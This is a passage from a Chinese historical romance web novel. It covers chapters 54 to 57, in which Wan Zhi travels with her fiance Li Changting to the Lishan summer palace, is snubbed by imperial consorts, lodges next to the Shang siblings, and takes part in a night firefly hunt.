前世债偿清,眼看母亲和弟妹相安无事,且都相貌精神,这让妧枝感到无比欣慰。
是以连周老夫人那边和她谈及婚嫁之事,妧枝都极力配合。
待到宴席结束,甘府那边因历常珽未来,干脆便代他为主,在妧枝点头后主动离去,先归家请吉人算日子。
周老夫人还在最后,和平氏闲谈。
一盏茶的功夫,门口来了新的人影,被妹妹拉着说话的妧枝抬眸一瞥,留意到朝她走来的历常珽。
历常珽神色如常,妧枝记得他今日是被私下宣召入宫,此刻瞧不出在宫中遇到了什么。
各番举止都和从前一样。
“阿枝,祖母,叔母……”历常珽来到她们跟前,一个一个招呼过去。
平氏这些时日看历常珽对这个家颇为照顾,已经默认历常珽为家中女婿,不像从前般有观察客套之意。
“老太君,郡王回来了。快请坐吧,阿枝,快斟茶呀。”
妧枝同历常珽四目相对,彼此微微一笑。
历常珽:“叔母,不必那么客气。”
他上来握住妧枝的手,有安抚呵护的意思,站在她身边沉稳有度,宛如能遮风挡雨的大树。
“我来,是有话要和阿枝说。”
妧枝和他在旁人眼里,堪称登对,她清冷不失柔婉,风姿别致。
历常珽亦是京中难得的上好佳胥,相貌堂堂,温柔贴心。
周老夫人为此做主,“就知道你一回来眼里便只有小娘子,我们这些老家伙也不稀罕你在此陪客。”
“他们二人这两日都没见面,让他们私下说会话去。”此话是同平氏所道。
平氏点头,两家已经相熟,来往密切。
如今就是入了妧枝闺阁,历常珽也都算名正言顺了。
当着周老夫人和平氏的面,历常珽将妧枝带走,二人来到庭院附近的小长廊中。
妧枝被他按住坐在排椅上,笑着看他:“什么事啊?”
历常珽目视妧枝,沉默片刻,在妧枝敏锐察觉到有细微不妥时,道:“阿枝,我们的亲事……”
天色微暗之际,书行居陆续灯火通明。
商唯真和婢女刚从浴房出来,就在门口看见商榷安身边的长随和下人准备了什么东西送过来。
枕戈见到她,飞快挪开目光,垂头向后退了两步,与商唯真保持距离,说:“商娘子,晚上好,大郎君派我来给商娘子送东西。”
商唯真在浴房时便已收整好自己,而今不过头发微湿,披在脑后,由婢女捧着,没有不得体。
但她知道商榷安身边的人都十分守规矩,时刻谨记她身份特殊,所以特别注意不要冒犯了她。
商唯真道:“榷安阿兄又为我准备了什么?他这些时日总是不在府里,我听披甲说他又立功了,圣上给他的赏赐差点连库房都摆不下。”
她对商榷安充满崇拜和崇敬,枕戈说:“具体的,还是等大郎君回来再告诉商娘子,免得坏了这份惊喜。”
商唯真微微娇羞,在枕戈示意身边的下人将东西转交给她身后的婢女时。
商唯真问:“那他什么时候回来,我已经很久没见到他了。”
“今天夜里,大郎君应该就回归家了。”
待到商榷安回来之前,商唯真和婢女先回了房里。
她们掀开了枕戈送来的东西,婢女检查了一下,吃惊道:“娘子,是药。”
夜里待到商榷安回府,书行居里他本该先去自己卧房中歇息,但走到半路,想到白日里同下属的交代,又掉了个头往回走。
近日公事忙碌,令他不是宿在宫中就是留宿枢密院里,乱党的事看似告一段落,但朝堂之争永远不会停歇。
他屡次立功,圣上那边一如既往对他加以看重,但他纠察乱党,已经伤害了不少盘根错节的势力,今后视他为仇敌的人只多不少。
商榷安走到商唯真的住处,没有意外地看到她屋子里的灯还亮着,婢女守在窗边,一看他来便进去禀告。
商榷安到了门槛处,婢女正好从内里出来,向他行礼,“大郎君终于回来了,我们娘子可想煞大郎君了。”
说完,婢女低头捂起嘴笑。
伴随着的,是屋里商唯真羞涩的斥责的话,“就你话多,还不快出去,当心我明日罚你。”
婢女机灵地转身,快步从门前逃走。
商榷安走进,正好看到屋中商唯真欲盖弥彰地拣了本书,站在书架前侧身背对着自己。
然而时不时往侧偷瞄的动作暴露了她。
商榷安喊了声,“唯真。”
商唯真控制不住扭过头,十分不好意思地回应,“阿兄……”
“方才那丫头的话,阿兄可不要往心里去。”
商榷安淡淡笑了下,没有取笑调侃商唯真,“怎么还没有歇息?”
商唯真如同有片刻的失落,不过商榷安之后的话倒是叫她惊喜。
“那还不是枕戈又来给我送了东西,这次是些药罐和补品,还说要等你回来亲口和我说?”
商榷安没有否认,“嗯”了一句。
“阿兄,到底是什么事啊?”
商榷安道:“唯真,你可愿和我去骊山行宫?那些药品是我为骊山之行准备的,夏夜蚊虫干扰,备上这些总是好的。”
商唯真果然一惊,商榷安在她心中宛如一座可靠大山,他们一路走来很不容易。
没想到商榷安办事,这次居然会带上她一起。
她喃喃问,难掩欣喜:“骊山行宫,这是什么地方,阿兄怎么会想带我……”
商榷安:“是天家避暑之地,圣上此行也会去,他钦点了不少臣子带上家眷,我想你在府里这些时日,都待在院子里不曾怎么出去。”
“去骊山玩一玩也是好的。”
商唯真交际不广,此时一听有游玩的机会,立马道:“那我要去,若旁人都有家眷,若榷安阿兄没有,那岂不是要孤家寡人了,我可不许……”
商榷安见她答应,便道:“那你早些休息,后日一早就要出发了。”
商唯真见他要走,颇为念念不舍。
但此时商榷安已经从房中退了出去,细心替她掩上房门,商唯真便只得透过窗户目送商榷安离开。
骊山之行就在当下。
妧家新府一早便忙碌起来,下人准备吃食给妧枝带上。
平氏也准备了一些避暑的衣物给她,驱虫的草药都放进了箱子里,那头历常珽一来,即可差人送进马车里。
那日历常珽从宫中回来,便向她提了历常珽的“叔父”,当朝圣上想要见她。
恰逢太后习惯每年前往骊山避暑,今年有了圣人伴驾,以免骊山之行枯燥无味,于是特地让心腹臣子们一起前往,以示嘉奖。
长排椅上,妧枝是头一回知晓,历常珽与宫中还有这样一层关系。
他道:“你放心,我只会视你为妻,不管‘叔父’做什么,如何看待你,我都相信你是最好的。”
妧枝花了片刻时间,方才收回神思。
历常珽坦然以待,即便听说了圣上对她印象不佳,妧枝竟不觉得生气,而是回道:“看来骊山之行,是非去不可了。”
“阿枝,你,你若不想,我再去叔父那里请他宽谅,此等亲事是我和祖母都决定好的,断不会改。相信看在父亲曾经情面上,哪怕违抗圣令,对方也不会真正责怪我们的。”
“还是去吧,也许我表现好了,能令你那位‘叔父’改观呢?”
换做旁人,妧枝兴许半点不在意,但历常珽与她算是患难与共,也算是她认定的良人,又如何不能为他努一努力?
“妧娘子,这边请。”
骊山之上,行宫伫立,妧枝同历常珽同乘一辆马车,一路驶来,观遍了山水之色。
到了目的地,下了马车,历常珽先被请去和其他官员臣子面圣。
妧枝则被行宫的宫人领着前往分配的房屋居室。
“妧娘子,就是这边了,你是锦瀚郡王的家眷,上头有话,就安置你们住在一起。”
妧枝掏出赏钱,“多谢宫人娘子,我外头那些行李,还得劳烦娘子帮我一起搬过来。”
宫人收下这点孝敬,“妧娘子客气了,我这就去办。”
待到宫人刚要离开,转角处又进来一行身影。
熟悉的声音传来,“榷安阿兄,就是这里了,这位宫人娘子说给我们安置了间偌大的院子,想必就是此处。”
妧枝往院子里走去的脚步微微一顿,不禁抬眸回头向身后看去。
眼帘中,映入的是商唯真娇俏的身影,她身边还有一个挺拔修长的男子,前有宫人娘子引路。
后面还跟着抬着行李的下属,似是一时间不曾注意到先来这边形单影只的妧枝。
而宫人娘子给他们安排的院子,方向与妧枝的一致,甚至就在旁边,仅一墙之隔。
那道墙也并不高,中间有被雕刻掏空的花窗,可以观看到两边的小院里的情景。
妧枝不知这是意外还是巧合,此时是否该转身进去,还是离开。
就在此刻,商唯真终于发现留步在院门口的她,疑惑而又不敢置信道:“那不是,妧娘子?”
第54章 好吓人。
商榷安比之商唯真,更早看到惊讶瞧见他们的女子。
她站在那,犹自思定,应是不知要不要答应。
但下一刻,她还是动了。
妧枝在商唯真等人走过来后,已经不好再撤走了。
尤其商唯真还主动与她搭话。
除了商唯真和引路的宫人,她对她们身侧另一道冷漠的身影视如不见,“商娘子,日安。”
勉强打了个招呼,妧枝已做好决定,准备要进院子。
然而商唯真把她叫住,意犹未尽地寒暄,“妧娘子,好巧啊,你也来了骊山吗?我们竟然都住在一块儿。”
显然,商唯真也发现了他们的住处十分相近。
妧枝点了点头,相较于商唯真友善,她显得冷漠了些,但既不与他们多交好,也就没有虚情假意的必要。
“我还有东西要收拾,先走一步。”
商唯真身边的婢女望着她说走就走,背影清冷得很了,小声在商唯真边上道:“才见到这位妧娘子,怎么这般冷傲?好吓人啊。”
商唯真:“在说什么?妧娘子没有恶意的,她人就是比较冷淡而已。”
婢女将信将疑,却觉得自家娘子还是太心善了,见这人看谁都好。
商唯真扭头:“阿兄,你瞧见了吗?妧娘子也来骊山了,她是跟谁一块来的?我怎么记得她跟四公子好像退亲了……”
府里还是有些流言传出来的,尤其李含翎退亲后,惩治院子里的下人差点出了人命,惨叫吓坏了商唯真。
她眼神充满疑惑,跃跃欲试地想要向商榷安打探,然而在旁目睹这一切的商榷安掠过婢女,同时向商唯真看过来,“已经到院子了,不进去看看吗?”
没说谁带妧枝来的,也没提刚才的碰面。
商唯真愣了下,顺着商榷安的话道:“当然要的,这院子好大啊。”
似是自然而然,没谁再提刚才的巧遇,商唯真跟着商榷安进去。
门口一时恢复清净。
妧枝进了门,先看了看院子里的居室,在行李送来前,她没有再冒然出去。
而是坐在屋中一角,等历常珽那边的消息。
但她发现,只隔着一堵墙,不管哪边动静都似乎过于清楚了,她甚至能听到隔壁院子里商唯真跟婢女说话的声音。
还有她喊商榷安时,快活的像只小鸟,远不像上一世在遇到妧枝时,尽显端庄稳重的一面。
她们姑嫂不亲,来往不多,妧枝初时以为商唯真就是那样的性子。
但不过是对她过于生疏客套罢了。
商唯真指挥着婢女,将东西归置到该摆的位置上,她和商榷安历来从小一起长大。
商榷安不仅要忙着学业,还要顾及家中生计。
商唯真便学着管家,好替商榷安分担一番。
婢女又开她玩笑,“娘子这般,可真有模有样,像家里的主母,以后也不知谁娶了娘子,能得一贤惠的娇妻。”
此时商榷安还在屋中,商唯真闻言不由自主目光偏向商榷安,一时忘了回嘴,“你,真是的……”
连日来,自打商唯真被商榷安从竹庄接到濉安王府居住,她和商榷安的关系已经更进一步。
尤其去接她的那日,榷安阿兄好像许久没见到她一样,神情带有一丝恍惚,将她紧紧揽住。
“唯真,这一次,我们重头来过。”如同劫后余生,榷安阿兄对她说完,就说要接她去京都住。
谈起当今年月,更有一种在朝堂之上志在必得,大展拳脚的恣意抱负。
她心中惊喜,从陪伴在榷安阿兄身边起,她就喜欢上了他,无人有他那样的坚毅不屈,身世坎坷。
不仅步步高升,在朝堂中一骑绝尘,对她还充满耐心,如果要嫁人,商唯真心中的夫婿自然只有最亲近的一个人。
但是近来榷安阿兄忙,从初始的体贴亲热,到现在莫名的,商唯真感觉到了有一丝不一样。
这么久了,连家中婢女和其他下人都看得出,他们关系特别,怎么榷安阿兄,还没有和她戳破那张纸的打算?
也许是要等彻底闲下来,才会和她好生谈及以后吧。
“怎么这样看着我?”屋中,商榷安陪同在商唯真身旁,留意到她的目光,垂眸看下来,冷沉的眉眼中有一丝温和。
商唯真别扭地偏过头去,如同负气般,“没什么。”
未免气氛僵硬,负气过后,商唯真又从椅子上起来,给自己解围,“我去瞧瞧床褥铺好了没……”
静坐在她身后,商榷安微微勾起的唇角,有一丝消退。
耳边两个院子里的动静仿佛相互影响着。
商榷安听见屋外的响动,历常珽似是回来了,他与下属的对话,透过院子清晰传递。
不见妧枝的声音。
她历来嗓音不够大,说话声不喜尖锐刺耳,于是每次话语语调很慢,有一种舒缓在里面。
即使那边说了什么,也应该不会有她的话音存在。
只有历常珽和长随接话回应,“郡王,妧娘子说行李都安置进房了,您的床都铺好了,可进屋看看,还有哪些需要的,可及时改。”
“不必,我都按她的来。”
妧枝站在门口处,和院子里的朝她看过来的历常珽对视,彼此不禁莞尔。
“快进来吧,我沏了一壶茶,一起喝一杯么?”
历常珽笑意更开,“自然,这就来。”说罢,他迈向石阶,一步作三步,很快到妧枝面前。
由于今日部分臣子携带家眷先到,人还未齐,圣上那边并未设下宴席,与臣同乐。
只命他看重的臣子,白日里陪同,未曾说要见客。
妧枝以为,她来到骊山,圣上那边定会很快召见她,但出乎意料,像是忘了有她这回事般。
平日里除了与朝臣相处,甚至与宫妃琴瑟和鸣,并未有其他动向。
历常珽宽慰她,“不要担心,若是有召,我会让顾曲给我传递消息,定然和你一同去见他。”
顾曲便是历常珽的随侍。
妧枝近来已经和他身边人熟悉,这些人都认她做了郡王府未来的郡王妃,听从命令,不管妧枝有什么吩咐,都能帮她去办妥。
她缓解历常珽的担忧,“我倒不怎么担心,只怕到行宫避暑结束,上面都能未曾召见我一面。这岂不是叫我白来游玩一趟?”
她如同占了好大的便宜,让历常珽心中松了口气,“你能这么想最好,若上面没有吩咐,你尽管随意一些,想去哪也可以带上顾曲他们有个照应。”
历常珽是要伴驾的,他白日并不怎么空闲,即使没什么事,也要随同群臣跟在帝王身边。
他安慰妧枝,“等我寻个机会,陪你在这行宫之内转一转。”
妧枝这几日不曾到处乱走,她很闲适地待在屋里,未免行宫枯燥,她也带了一些活计来,并不是没有事干。
这日历常珽离开,他们的院子里来了一个面生的宫人,敲了敲门,“妧娘子可在?”
妧枝没有带婢女来,但历常珽这边安排的有下人在,开了门,迎人进来。
“这位娘子,寻我是有何事?”妧枝问。
对方浅浅道了一声,便有不打算久留喝杯茶水的意思,“不必斟茶了,我是来告知妧娘子,泉水涧那边能领许多城里运来的果子,许多夫人都在那边领呢,妧娘子也可以过去了。”
山中之物也不少,但野果不如精心栽种的果树更甜,妧枝打听了下,是为了孝敬上面,所以每年一到暑气时就会有不同地方的珍果送来。
这次圣上大方,看在此行随同了许多臣子家眷,于是各处都分了一些。
“那我这就去看看。”妧枝答应下来。
此时日头正盛,但骊山坐落在半山巅,朝向和位置都极好,即使这时候出门路上也有几分阴凉。
日光落在地面上,妧枝带了历常珽留给她的下人一起同行,走到了两边都是树影的石板小径。
在前方上坡处,清晰可闻泉水往低处流淌的汨汨之音,人影也多了许多,其中不乏衣着多彩的妇人,附近守着些许侍卫和宫人。
在另外一处,坐着一桌身份不同,更加高贵的妃嫔,好长的一张石台上,摆放着不同新鲜的瓜果。
茶杯正冒着热气,零散摆落吃过的点心果皮。
在看到又有新的人来领瓜果以后,张妃嫔定睛盯着从小径上坡走来的身影,忽然出声提醒身旁的其他妃嫔,“看那边,历郡王的未婚妻,她来了。”
这些时日里,出门结交的臣妇们都已经相熟了,唯独妧枝是个新鲜面孔,且在这里的人都到齐了,只有她来得最晚。
即使未曾见过第一面,在回来复命的宫人示意下,也都知晓了她的身份。
商唯真一早坐在这张石台旁,如今商榷安势大,他入朝为官多年,从当年新贵早已成为位高权重的臣子。
一声商密使,多得是想要拉拢投靠他的人。
妃嫔们也都知晓他来,带了个阿妹,商唯真便在张妃嫔的示意下,坐到了她们当中来。
她顺着其他人的目光,看向默默走来的妧枝,不禁问:“妧娘子怎么了?怎么大家都在看她?”
妃嫔中有人轻佻应道:“锦瀚郡王的未婚妻,从未见过,可不是稀罕的紧。”
“听说她原先是定亲给濉安王府的公子吧?后来见异思迁,攀上了锦瀚郡王,所以退亲了?”
“不止吧,她还是罪臣之女,其父逆谋,私通乱党,这何止是死罪,满门抄斩都合情合理。却因她六亲不认,连自个儿父亲的都揭发了,告到了京都知府去。”
“啧啧,这可是个狠人呐。”旁边的妃嫔转了过来,“商娘子可别小瞧了她。”
商唯真目露惊诧,倏地望向那道很是清雅寡言的身影。
濉安王府里有一些传闻,她是听过不少,但都不确定真假。
倒是今日才从妃嫔们的口中确认,那些事都是这位妧娘子做的。
尤其她还跟锦瀚郡王,就是那位历常珽历郎君在一起,这些日子他们同住一个院子,也就坐实了妃嫔们说的关系。
第55章 夜游。
“妧娘子,这边来领果子。”
妧枝到了以后,跟着宫人走到放置的瓜果前,前方已经有人留意到她是新来的。
踩在山涧里戏水的妇人和宫人都好奇地打量着她。
就在妧枝选了些剩下还正新鲜的樱桃后,另一边石台的方向有人来请,“妧娘子,张妃嫔有请。”
妧枝朝着宫人示意的方向瞧去,石台离她不远,之前她就有留意到了,只是人生地不熟,妧枝并没有轻举妄动。
眼下得到风声,妧枝自然地点头,随后跟身边的下人道:“你先把这些吃的带回去,装些山泉水泡着,等郡王回来了吃。我过去瞧瞧。”
妧枝不经意觑了一眼好整以暇,端坐着对着她方向的妃嫔们,有些意外地,竟然在当中看到了商唯真的身影。
而她往她们那边走过来后,却发现宫人并没有跟着她,可哪位是张妃嫔,就有些不得而知了。
妧枝来了以后,石台附近的人都一言不发,却眼神微妙地盯着她,有的暗藏一丝好奇,有的尽是笑而不语。
没有人招呼,仿佛就要将她晾在这里。
气氛刹那间,尴尬到足以令人窘迫不已。
而妧枝在她们当前站住,在场的妃嫔臣妇她一个也不认识,最该认识的商唯真,也不知是否没留意到她来,盯着旁一处,静默着没有抬眸看她一眼。
“在下妧枝,敢问哪位是张贵妃?”
无人应她,似是要放任她陷入尴尬之地,另有两个妃嫔还交头接耳,作出看她一下,便说小话笑出声的模样。
妧枝默然,“看来张贵妃不在此处,那就不便打扰了。”
她转身要走,一道娇丽的嗓音将她唤住,“等等,我就是。”
人群中坐在中间上方席位的女子跟妧枝对上眼,发钗衣着俨然是最显贵的,她主持大局,嗔了在座的妃嫔一眼,道:“刚才我不小心走神了,没怠慢妧娘子吧?”
“尔等也真是的,人家妧娘子来,怎么也不叫我一声?”
其他妃嫔纷纷应和:“诶,我也在想事呢,没留意……”
“昨个儿睡得晚了,刚才正打盹儿呢。”
“这我们都不是故意的,妧娘子那样一个恩怨分明,大公无私的人,应该不会与我们计较的吧?”
妧枝瞧她们,听着含沙射影的话未露一丝表情,连眉都没皱一下。
她盯着最后意有所指的妃嫔,已然知晓,她对妧嵘所做过的事,应是传遍了朝堂上下。
这些后宫妃子,定然有所了解。
说不得,这位张贵妃请她,还有幕后之人指使的缘故。
“好了,你们谁给妧娘子让个座儿,她是本妃请来的,正好与她说说话,认识一番。”
张妃嫔发了话,这时连商唯真都抬起头来看她。
然而在座的妃子左右环顾,都没有起身相让的意思,连抬身都不大肯。
“不是妾身不愿意,是我今日上山腿歪着了,起不来呢。”
“是啊,我也是,脚正酸痛着呢……”
一个个都避开张妃嫔的眼神,不再往妧枝那看,反倒巧如舌簧推脱起来。
根本不顾妧枝已被晾在一旁好一会儿。
泉水涧,山坡上另外一条小道上,宫人随同商榷安顿住脚步,“商大人,怎么不走了?”
“下面就是泉水之地,商娘子就在那里。”
今日朝臣照常伴驾,然而到了隅中,圣上另有事宜,便挥散了臣子们,让他们自行待着。
商榷安记得商唯真一早就被圣上宠幸的张贵妃请走,于是在散会后过来接她。
过不久,其他臣子也会找来这里带走自家妇人。
但此刻,他在山坡下瞧见了另外一道,伫立在妃嫔们身边的人影。
她像是被围攻一般,孤立无援。
没有哪个女子被一群人看好戏一样,笑着问话。
妧枝没能得到座位,石台边的女子都不肯让座于她。
张贵妃略含歉意地看着她,也不再继续强求了,只是眼神略带一丝戏谑,很不经心地宽慰了句,“看来诸位姐妹都不愿意起来,那就只能委屈妧娘子在此站着了。”
妧枝看出今日这帮妃嫔们是存心刁难,许是想看她如何发难,又如何对她们不敬。
旁边的宫人对她虎视眈眈,似是她若有一丝不满,就会听信妃嫔们的命令,前来教训。
就在此时,背后突然来了一道声音道:“贵妃娘娘,圣上那边朝会散了,这会圣上正回镛文宫呢。”
看上去有品阶的宫人陡然出现,正打算等着妧枝反应的妃嫔闻言一愣,“这么快?”
行宫伴驾,皇后没来,坐镇京都。
而今圣上带在身边最得宠的便是她,张贵妃自然以圣上为重,至于妧枝这般不值一提的小人物,当然无法与帝王比较。
在座妃嫔听见圣上现在没有朝臣,也就没有其他人相伴,登时眼珠乱转,有的跃跃欲试,甚至想率先起身前去伴驾。
然而却让着张贵妃抢先道:“既然陛下有空闲了,那我就先代诸位妹妹前去照应了。”
没了张贵妃在此,其他妃嫔也都惦念着圣上,登时有些悻悻然。
此时再去关注妧枝已经没有意义了,她不打算在此继续待下去,和商唯真亦充当不认识,掠过她转身离开此处。
妧枝扭头之际,目光触及不远处的小山坡。
倏然一顿。
发现商榷安不知何时站在那里,她先是和他对视上目光,然后往两旁看了看,商唯真还坐在位置上。
再回眸,商榷安依旧对着她这个方向,视线未曾移开,妧枝只觉好生奇怪。
接着未发一语收回眼神,就如没发现一样往下坡小道走去。
没过多久,历常珽回来。
他进门便叫,“阿枝,阿枝。”
妧枝刚在卧榻处短暂眯了半刻,些许昏昏欲睡问道:“我在这,怎么了?常珽?”
从外面回来的历常珽大步走进房中,见到安然无恙的妧枝,如同松了口气。
他情不自禁在她身旁坐下,目光紧盯那张柔婉的面孔,“我听说半个时辰前,你被张贵妃请去了。”
妧枝闻言,睁开眼皮,彻底醒神过来。
在看到历常珽面上的忧虑后,微微一笑,“对,她请我去泉水涧那边领瓜果吃。我选了樱桃,带了些回来。”
“你要不要尝尝?”
历常珽却反问:“她有没有为难你?若有,你尽管与我说。”
张贵妃是圣上身边的人,历常珽不信她对妧枝的事情不知情,可不代表她能仗着圣上胡作非为。
但若是有人示意就不一样了。
然而历常珽并不希望有这样的事发生,近来妧枝都在院子里没有出去,他在一个女子身上见识到了什么叫闲适舒婉。
妧枝不是会惹事的人,他有些后悔带她来骊山了,若是在京都自家宅院里,妧枝应该比现在要自在。
感受到历常珽对她的歉意,妧枝也不打算隐瞒:“你怎么知道?”
“倒是有,当着一群人的面,把我叫到跟前说想要与我认识一番,结果将我晾在那处半天。我也不知,是哪里得罪她了?”
“……”历常珽苦笑:“兴许是因为我,她与你无冤无仇,唯有一种可能,便是叔父让她这么做的。”
妧枝早有猜到会是如此,了然地看着历常珽。
“若是还有下回,她再请你,你就不要去了。”
“那不是违抗圣意?”
历常珽:“今日过后,我就去找叔父,他大可当面召见你,何须派其他人这般审视。”
妧枝见他心意已定,也不阻止,“那我可就依靠你了。”
她将头靠近历常珽胸膛,二人相拥在软榻上。
到了夜里,暮色褪去,各院都点上了灯。
妧枝与历常珽在用过晚食,正准备烧水沐浴,门外忽而又来了两位宫人,分别敲了敲他们和隔壁的院门。
“大人,圣上在小西园准备了夜游会,还请诸位携夫人一同前去。”
妧枝和历常珽站在台阶上,不期而然也看到了隔壁从屋里出来的身影。
商榷安同商唯真都听到了宫人来报的消息。
二人和妧枝他们同处一个位置,只是第一次四人一起这般屋檐下隔着一面墙相见。
往日会先招呼人的商唯真今日竟然见了妧枝,一句话不吭,妧枝性子冷淡,并不介意对方的反常。
倒是历常珽与商榷安,同朝为官,又是表兄弟,也同他们一样,如同毫无血亲关系,陌生得厉害。
历常珽对商榷安颇有避讳,他捏住妧枝的掌心,手搭上她的削肩,不曾跟隔壁打一声招呼,轻声对妧枝道:“我们进去吧,收拾一下,就出发。”
商榷安不错眼的看到这一幕,对面妧枝在历常珽低头,亲近地与她说了句话后,十分乖觉地在他怀里点了点头。
他们的关系,自有了婚约之后大有些不同。
妧枝回握了历常珽的手,与他并肩往里走,她面上有一种安定,的确很登对,换了夫婿,尘埃落定,不再有什么不满足。
可是商榷安盯着那边方向太久,即便隔壁院子门口处已经不再有人站在外面。
第56章 抓错衣裙,暗香来。……
张贵妃今日有些不大爽利,她从泉水涧去了镛文宫,本是喜庆洋洋的模样。
原以为见到圣上,按照往日规矩,该对她怜惜一番,然而等她一进去,圣人竟颇为意外地问她,“你怎么过来了?”
张贵妃:“怎么,陛下就这么不想见到臣妾?”
圣人:“朕记得下面送来了些许珍果,你此时不该在泉水涧宴客?”
“那还不是陛下,朝会竟然提前散了,妾身这不就心急火燎地赶回来了。”
“朕便是知道你耐不住性子,方才没叫人知会你,好让你在那儿好生呆着,办好朕交代你的事情。”
张贵妃一脸心虚,“妾身,妾身已经办妥了,试探了一下那位妧娘子的性子……”
圣人:“哦,你都看出什么来了?”
张贵妃:“那妧娘子,是个气性颇大的,不过……我们那样为难,倒是知道些分寸。”
“今日方不过小试牛刀,第一面会一会她,就知后面该怎么再和她打交道了。”
“就看她到底能不能配得上锦瀚郡王……”
圣人闻言,似是没有再继续怪罪的意思。
只是对旁边伺候的宫人道:“传令下去,今夜小西园朕邀众卿家夜游,可携带眷属,戌时一刻出发。”
小西园并非花园,而是后山的入口,夜间出行,宫中护卫随之出动,未免发生意外,都手持火把,宫人提灯,前后帮贵人们照亮脚下的路。
第57章 你带走的是我。
妧枝与历常珽到时,小西园已经到了一些臣子和妇人,正闲散地聚集在一起聊天。
“听说今夜后山有流萤,圣上特意邀我等去抓呢。”
“就看看今日谁扑的最多,谁就能得赏。”
“也不知会赏什么?夫人喜欢,为夫也去帮你抓一些来。”
众人讨论的热闹,历常珽向周围看了看,对妧枝道:“他们都得了捕萤网,我也去要一把来。”
妧枝目送着历常珽去找宫人,这些时日她和历常珽相处非常得宜,未曾闹过红脸,也没发生过争执。
且他处处都为她着想,妧枝觉得自己此生的运气应当都在这一世用光了。
不多时,她余光不小心瞥见另一处不知什么时候来到的一对身影。
商榷安和商唯真身边也聚拢了不少人,正热切与他们交谈寒暄。
耳畔响起周围的丝丝窃语,“那位就是商密使吧,他入仕为官这么多年,似乎还未有妻室。这般年轻有为,怎么就没有选个好人家的娘子娶了?”
“你怕是不知,想高攀他的人不少,可人家心气和眼光都挑呢。”
“那旁边那位又是他的谁?”
“是他阿妹。”
“阿妹?怎么瞧着,不大对……我听闻,那位娘子和妃嫔娘娘们交际,有意为她介绍夫婿,都被拒了呢,三两句都离不开她阿兄。”
有人轻笑:“得了吧,尔等还不知,这两人可不是亲兄妹,也就占了一个姓氏的便宜,那商郎君迟迟不婚,只怕也是舍不得这个好妹妹……”
“那倒是,情妹妹也是妹妹呀。”
此话登时引得妇人之间露出一场不正经的笑,让不知情的人反倒莫名其妙。
妧枝随即再次看向那边毫不知被人私下议论过的商榷安和商唯真,前世那个半路杀出来的孩子,到底是不是他二人生的。
妧枝到今世也一无所知,不过她已经没有一丝想法想去追寻真相。
她如今得到了很多,眼看前途光景甚是明朗,未来可期,她又何须再去理会这些不是同路的人。
片刻之后,她看到历常珽朝她走来。
只是他两手空空,有些不好意思自己竟没能带回来东西给她,甚至不敢看她,“阿枝,宫人准备的捕萤网不多,已经派发完了。”
旁的妇人都有,却少了妧枝这份。
历常珽心里过意不去,并且许诺道:“待会若有谁不小心丢了,我来盯着,我悄悄捡过来。”
妧枝禁不住抬手掩面。
戏谑看着历常珽,“那不知是哪个倒霉蛋要没了。”
“是啊,要是被我捡来,那他可就惨了,不知要挨自家妇人怎么收拾了。”
妧枝彻底忍俊不禁,轻轻一笑。
“阿兄,你在看什么?”人群处,商唯真刚与一位认识的妇人交谈完,回到商榷安身旁。
此时男子身边已经没有其他臣子围着,他站在一棵树旁,若不是凭着多年熟悉的经验,商唯真差点要找不见她阿兄了。
只是走近后,商唯真发现商榷安一直都在看着另一个方向,隐匿在半阴影中的高大男子,像不可接近的禁忌之地。
有一刻,她竟不敢出声打扰。
“在看风。”商榷安从阴影中走出,一切就如寻常那样,黑眸清明,面无表情,“今夜应该会有很多流萤。”
所有人都开始往后山走去,妧枝也同历常珽牵着手,相伴左右。
过了一刻时辰,终于在远处的山林中找到了侍卫先探好路的位置。
先是有人轻呼,“看见圣上了,在那边呢,就在流萤最多的那处。”
在他们来时,显然圣人已经带着妃子们先出发了。
如今,已经有妃嫔在追着流萤扑来扑去。
“快去啊,圣上说了,捕萤最多的,可是重重有赏。”
“等等,我叫我夫婿同我一起,都抓啊……”
只见妧枝和历常珽身边很快就有妇人携着丈夫上前去,二人一路上也没捡着什么趁手的工具。
索性也不稀罕什么奖励,妧枝无动于衷,只当自己是来凑数赏景。
然而贵人那边好似注意到她,突然有侍卫过来对她二人道:“圣上有令,还请郡王和妧娘子莫要发呆,今日夜游,希望诸位都能尽兴,郡王和娘子快去和其他人一样,捕萤去吧。”
妧枝:“可我并无绳网,如何抓住它们?”
侍卫:“还请二位多想想办法,圣上说了,若是一只都未能抓住,也是有惩罚的。”
“……”
语毕,侍卫走了。
妧枝只能看向历常珽,历常珽当机立断,“我来。”
“我来替你捉,阿枝。”
“可我……”
妧枝犹豫道:“我不想用手……”
流萤令人向往,不过是读书人给它添加的幻想色彩,一片萤海固然像极了仙境,但归根到底它不过是只虫子。
妧枝自小就不爱这些,然而上面偏要为难她,就连附近都出现了侍卫盯着他们。
历常珽也发现了,叔父那边和张贵妃站在一起,不知不觉投递来目光。
未免显得格格不入,历常珽安慰妧枝,“不用怕,我去捕,你跟在我身后好了。”
妧枝点头,不远不近跟着历常珽。
然而流萤太多的地方,她依旧不敢深入。
倒是历常珽却越走越远,他撕下块衣袖,用来当做布袋将流萤装入,妧枝宛如刚嫁进门的新妇,不太远又没有多近地看着他。
直到后面来了其他人,似乎追着萤火虫而来,“这边这边……”
“太多了,快抓啊。”
妧枝回头瞧着见不知何时他们将虫子都赶来这边,登时为那密密麻麻的一片萤火感到心惊。
她边往后退,边叫着,“常珽……”
忽而被一只手碰见,她摸到对方卷起的袖口,尤其此刻历常珽回应了她,“阿枝。”
她心弦一颤,在虫子飞过来间拉住他人袖口,将其一同拽走。
背后人影惊讶地望着她,“那莫不是妧娘子,她怎么跑了?”
……
妧枝跑到无人处,微微喘着粗气,惊魂未定。
幼年时,平氏还保留着在老家的习惯,会上山寻一些草药,熬来给家里人喝。
彼时妧嵘还未彻底在京都安定,一家人颇为拮据。
恰逢母亲生了弟弟,因其还在哺乳当中,妧枝陪同平氏上山,帮忙照顾妧酨。
然而遇到山上一棵树上,有蜂巢掉落,为了保护还在襁褓中的幼弟,妧枝只得扑在弟弟身上,任由蜜蜂蜇咬。
事后,后背早已伤口一片,休养了大半个月才捡回一条命来。
如今看到一窝蜂的这些虫子,未曾当场尖叫出来,就已是照顾了自身体面。
“常珽……”
她气息依旧不稳,却不像刚才那样喘得厉害,变得微弱,而不可闻。
她低头检查自己,记得刚一扭头时差点吞了一只虫子进去,好险她飞快别开脸,但身上依旧有若有若无被撞上来的迹象。
她有些抱怨又有些糯声道:“我好像进虫子了,衣裳里……”
“太麻烦了……”
